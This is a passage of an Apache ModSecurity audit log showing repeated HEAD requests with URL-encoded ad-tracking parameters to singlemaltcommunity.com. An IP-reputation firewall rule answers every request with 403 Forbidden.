Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273866240225 6663 (- - -)
Stopwatch2: 1789273866240225 6663; combined=5042, p1=257, p2=4408, p3=77, p4=9, p5=290, sr=113, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bca2623b-Z--
--8c553c28-A--
[13/Sep/2026:07:31:06.286862 +0300] aqYnCkwu1RSkptiiNIXv9QAAAIk 151.243.174.108 45014 127.0.0.1 7081
--8c553c28-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.108
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--8c553c28-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--8c553c28-E--
--8c553c28-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273866278084 8831 (- - -)
Stopwatch2: 1789273866278084 8831; combined=6947, p1=230, p2=6227, p3=80, p4=9, p5=400, sr=96, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8c553c28-Z--
--f1779201-A--
[13/Sep/2026:07:31:29.883838 +0300] aqYnIWM7dE9KgIIOpQhiZwAAAM8 95.134.102.156 45098 127.0.0.1 7081
--f1779201-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.156
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f1779201-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f1779201-E--
--f1779201-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273889877732 6147 (- - -)
Stopwatch2: 1789273889877732 6147; combined=4593, p1=270, p2=3893, p3=74, p4=7, p5=348, sr=116, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f1779201-Z--
--7c943b46-A--
[13/Sep/2026:07:31:30.239394 +0300] aqYnIjTJ6xTvcJoem7f2kQAAAEw 95.134.102.169 45126 127.0.0.1 7081
--7c943b46-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.169
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--7c943b46-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7c943b46-E--
--7c943b46-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273890233537 5904 (- - -)
Stopwatch2: 1789273890233537 5904; combined=4425, p1=260, p2=3759, p3=75, p4=8, p5=323, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7c943b46-Z--
--62079f71-A--
[13/Sep/2026:07:31:30.444472 +0300] aqYnImM7dE9KgIIOpQhiagAAAMY 151.243.174.221 45142 127.0.0.1 7081
--62079f71-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.221
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--62079f71-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--62079f71-E--
--62079f71-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273890438252 6271 (- - -)
Stopwatch2: 1789273890438252 6271; combined=4693, p1=213, p2=4140, p3=72, p4=7, p5=260, sr=81, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--62079f71-Z--
--6d75e57f-A--
[13/Sep/2026:07:31:30.730964 +0300] aqYnImM7dE9KgIIOpQhibAAAAMQ 95.134.102.152 45160 127.0.0.1 7081
--6d75e57f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--6d75e57f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6d75e57f-E--
--6d75e57f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273890723435 7570 (- - -)
Stopwatch2: 1789273890723435 7570; combined=4980, p1=321, p2=4315, p3=70, p4=8, p5=266, sr=174, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6d75e57f-Z--
--0fd0ee6f-A--
[13/Sep/2026:07:31:31.161347 +0300] aqYnI0wu1RSkptiiNIXv-gAAAI8 95.134.102.132 45270 127.0.0.1 7081
--0fd0ee6f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--0fd0ee6f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--0fd0ee6f-E--
--0fd0ee6f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273891153406 7991 (- - -)
Stopwatch2: 1789273891153406 7991; combined=6179, p1=319, p2=5459, p3=90, p4=9, p5=302, sr=162, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0fd0ee6f-Z--
--cf903d01-A--
[13/Sep/2026:07:31:31.544964 +0300] aqYnI2M7dE9KgIIOpQhidwAAAMY 95.134.102.138 45288 127.0.0.1 7081
--cf903d01-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.138
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--cf903d01-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--cf903d01-E--
--cf903d01-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273891537754 7259 (- - -)
Stopwatch2: 1789273891537754 7259; combined=5772, p1=224, p2=4077, p3=69, p4=8, p5=1393, sr=96, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cf903d01-Z--
--bdee3d34-A--
[13/Sep/2026:07:31:39.088951 +0300] aqYnK2M7dE9KgIIOpQhifwAAAM8 46.203.158.155 47862 127.0.0.1 7081
--bdee3d34-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.155
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--bdee3d34-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--bdee3d34-E--
--bdee3d34-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273899075089 13937 (- - -)
Stopwatch2: 1789273899075089 13937; combined=7864, p1=1058, p2=6144, p3=160, p4=9, p5=493, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bdee3d34-Z--
--a3bdc36e-A--
[13/Sep/2026:07:31:39.531881 +0300] aqYnK0wu1RSkptiiNIXv-wAAAJQ 91.124.31.252 47872 127.0.0.1 7081
--a3bdc36e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.252
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--a3bdc36e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--a3bdc36e-E--
--a3bdc36e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273899522503 9425 (- - -)
Stopwatch2: 1789273899522503 9425; combined=4861, p1=245, p2=4103, p3=66, p4=7, p5=440, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a3bdc36e-Z--
--6c10cb4b-A--
[13/Sep/2026:07:31:39.917548 +0300] aqYnK0wu1RSkptiiNIXwAAAAAIc 46.203.158.22 47874 127.0.0.1 7081
--6c10cb4b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--6c10cb4b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6c10cb4b-E--
--6c10cb4b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273899911598 6003 (- - -)
Stopwatch2: 1789273899911598 6003; combined=4370, p1=254, p2=3765, p3=94, p4=8, p5=248, sr=120, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c10cb4b-Z--
--4615ec57-A--
[13/Sep/2026:07:31:41.474243 +0300] aqYnLWM7dE9KgIIOpQhiggAAAM4 209.101.128.215 47898 127.0.0.1 7081
--4615ec57-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--4615ec57-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--4615ec57-E--
--4615ec57-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273901468558 5742 (- - -)
Stopwatch2: 1789273901468558 5742; combined=4202, p1=234, p2=3641, p3=68, p4=8, p5=250, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4615ec57-Z--
--40a21778-A--
[13/Sep/2026:07:31:41.777238 +0300] aqYnLWM7dE9KgIIOpQhigwAAAMk 45.91.4.215 47908 127.0.0.1 7081
--40a21778-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--40a21778-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--40a21778-E--
--40a21778-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273901763557 13734 (- - -)
Stopwatch2: 1789273901763557 13734; combined=6550, p1=2202, p2=4014, p3=66, p4=8, p5=259, sr=757, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--40a21778-Z--
--0b662528-A--
[13/Sep/2026:07:31:42.072379 +0300] aqYnLkwu1RSkptiiNIXwAwAAAJM 45.91.4.224 47926 127.0.0.1 7081
--0b662528-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.224
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--0b662528-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--0b662528-E--
--0b662528-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273902062128 10368 (- - -)
Stopwatch2: 1789273902062128 10368; combined=7554, p1=510, p2=6345, p3=93, p4=11, p5=594, sr=200, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0b662528-Z--
--71905234-A--
[13/Sep/2026:07:31:44.671349 +0300] aqYnMEwu1RSkptiiNIXwBAAAAII 151.243.174.180 47936 127.0.0.1 7081
--71905234-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.180
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--71905234-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--71905234-E--
--71905234-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273904664560 6832 (- - -)
Stopwatch2: 1789273904664560 6832; combined=4859, p1=316, p2=4166, p3=98, p4=8, p5=270, sr=130, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--71905234-Z--
--62f66569-A--
[13/Sep/2026:07:31:45.332750 +0300] aqYnMUwu1RSkptiiNIXwBQAAAIY 95.134.102.238 47944 127.0.0.1 7081
--62f66569-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.238
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--62f66569-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--62f66569-E--
--62f66569-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273905326794 6000 (- - -)
Stopwatch2: 1789273905326794 6000; combined=4463, p1=235, p2=3810, p3=64, p4=6, p5=348, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--62f66569-Z--
--98c19422-A--
[13/Sep/2026:07:31:45.717842 +0300] aqYnMWM7dE9KgIIOpQhihAAAANI 95.134.102.117 40960 127.0.0.1 7081
--98c19422-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--98c19422-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--98c19422-E--
--98c19422-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273905712097 5799 (- - -)
Stopwatch2: 1789273905712097 5799; combined=4277, p1=213, p2=3704, p3=65, p4=7, p5=288, sr=87, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--98c19422-Z--
--854a4366-A--
[13/Sep/2026:07:31:50.772982 +0300] aqYnNmM7dE9KgIIOpQhihgAAAMU 91.124.31.238 40966 127.0.0.1 7081
--854a4366-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.238
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--854a4366-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--854a4366-E--
--854a4366-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273910765655 7374 (- - -)
Stopwatch2: 1789273910765655 7374; combined=4645, p1=336, p2=3915, p3=67, p4=7, p5=319, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--854a4366-Z--
--5d771633-A--
[13/Sep/2026:07:31:51.079458 +0300] aqYnN2M7dE9KgIIOpQhihwAAANc 91.124.31.125 40972 127.0.0.1 7081
--5d771633-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.125
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--5d771633-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--5d771633-E--
--5d771633-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273911073564 5940 (- - -)
Stopwatch2: 1789273911073564 5940; combined=4361, p1=261, p2=3715, p3=74, p4=7, p5=304, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5d771633-Z--
--f265893a-A--
[13/Sep/2026:07:31:51.165913 +0300] aqYnN0wu1RSkptiiNIXwCAAAAJE 46.203.158.94 40984 127.0.0.1 7081
--f265893a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.94
